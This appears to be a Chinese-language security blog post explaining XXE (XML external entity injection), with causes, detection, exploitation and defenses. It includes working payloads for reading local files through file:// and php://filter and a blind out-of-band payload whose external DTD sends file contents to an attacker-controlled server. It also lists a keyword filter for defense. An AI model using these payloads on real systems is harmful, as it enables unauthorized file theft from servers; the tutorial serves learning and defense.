XXE漏洞

一、漏洞介绍

XML:
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。HTML主要用于回显,XML主要用于传输。

XXE:
XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

xml外部实体注入,利用伪造xml进行恶意文件加载。

二、产生原因

服务端接收和解析了来自客户端的xml数据,而又没做严格的安全控制,从而导致xml外部实体注入。

三、漏洞危害

造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

四、漏洞检测

检测xml代码是否被解析
检测服务器是否支持外部实体引用

五、漏洞利用

1. XML格式

 

<?xml version="1.0"?> 文件声明
<!DOCTYPE                   定义文档格式(可以没有)
any [                              定义文档根元素(可以与下面不同)
<!ENTITY x "abc">          定义一个变量
<!ENTITY y "def">
]>
实例:
<?xml version="1.0" encoding="UTF-8"?>(编码可以没有)
<!DOCTYPE any [<!ENTITY x "abc">]>

<any><a>&x;<a><b></b></any>

<any>                  内容(根元素不需要与上面相同)
<a>&x;</a>                  a元素为回显位,在其中用&引用变量x
<b></b>                       需要加分号
</any>
回显为abc。参数的值一定要用双引号。

 

 

 

2. 操作

抓包观察请求头中content-type类型,text/xml or application/xml。
观察请求体结构,标签形式。
<a></a>
伪造xml文件。

3. 读取文件

<?xml version="1.0" ?>
<!DOCTYPE any [<!ENTITY xxe SYSTEM "file:///c://1.txt">]>

<x>&xxe;</x>
 
SYSTEM "php://filter/read=convert.base64-encode/resource=c://xxx.php"
以base64方式读取。要写绝对路径。

 


 

4. 引入外部实体

条件:是否开启外部实体引用。

<?xml version=”1.0” ?>

<!DOCTYPE any [

<!ENTITY % file SYSTEM “http://192.168.x.x:8080/xxx.dtd”>

%file;

]>

<x>&send;</x>

 

xxx.dtd

<!ENTITY send SYSTEM “file:///c:/1.txt”>

 


 

访问预先设置的文件,里面内容写入代码,执行访问服务端文件。

5. 无回显读取

<?xml version="1.0" ?>

<!DOCTYPE any [

<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=c://xxx.txt">

<!ENTITY %dtd SYSTEM "http://192.168.x.x:8080/xxx.dtd">

%dtd;

%send;

]>

 

xxx.dtd

<!ENTITY % payload

"<!ENTITY % send SYSTEM "http://192.168.x.x/?data=%file;">"

>

%payload;

 


 

上面!ENTITY %XXX 设置变量

下面%XXX;启用变量

 

开启日志:上面的url一般是自己的vps地址,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,就能看到读取到的文件数据了。

6. 工具

XXEinjector

六、防御与修复

1.禁用外部实体,例如 libxml_disable_entity_loader(true)

2.过滤用户提交的 XML 数据

过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC

禁用协议:file、http、各种伪协议

posted @ 2021-11-04 14:24  天才小2b  阅读(262)  评论(0编辑  收藏  举报